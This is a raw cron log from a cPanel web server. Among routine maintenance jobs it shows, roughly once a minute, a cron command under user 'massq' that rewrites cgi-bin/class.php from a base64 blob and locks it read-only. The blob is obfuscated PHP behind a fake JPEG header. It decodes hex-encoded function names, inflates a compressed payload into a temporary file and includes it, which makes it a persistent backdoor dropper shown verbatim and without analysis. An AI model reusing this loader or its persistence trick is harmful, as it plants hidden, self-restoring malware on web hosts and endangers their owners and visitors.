Sep 10 18:58:01 server CROND[5617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:58:01 server CROND[5618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:58:01 server CROND[5620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:59:01 server CROND[5996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:59:01 server CROND[5997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:59:01 server CROND[5998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:00:01 server CROND[6472]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:00:01 server CROND[6475]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:00:01 server CROND[6477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:00:01 server CROND[6478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:00:01 server CROND[6479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:00:01 server CROND[6480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:00:01 server CROND[6481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:00:01 server CROND[6482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:00:01 server CROND[6488]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 19:01:01 server CROND[7333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:01:01 server CROND[7335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:01:01 server CROND[7334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:01:01 server CROND[7336]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 19:01:01 server run-parts(/etc/cron.hourly)[7336]: starting 0anacron
Sep 10 19:01:01 server run-parts(/etc/cron.hourly)[7354]: finished 0anacron
Sep 10 19:02:01 server CROND[7721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:02:01 server CROND[7722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:02:01 server CROND[7723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:03:01 server CROND[8174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:03:01 server CROND[8175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:03:01 server CROND[8176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:04:01 server CROND[8558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:04:01 server CROND[8559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:04:01 server CROND[8560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:05:01 server CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:05:01 server CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:05:01 server CROND[8947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:05:01 server CROND[8952]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:05:01 server CROND[8949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:05:01 server CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:05:01 server CROND[8951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:05:01 server CROND[8948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:06:01 server CROND[9874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:06:01 server CROND[9875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:06:01 server CROND[9876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:07:01 server CROND[10334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:07:01 server CROND[10335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:07:01 server CROND[10336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:08:01 server CROND[10723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:08:01 server CROND[10724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:08:01 server CROND[10725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:09:01 server CROND[11122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:09:01 server CROND[11125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:09:01 server CROND[11121]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 19:09:01 server CROND[11124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:10:01 server CROND[11511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
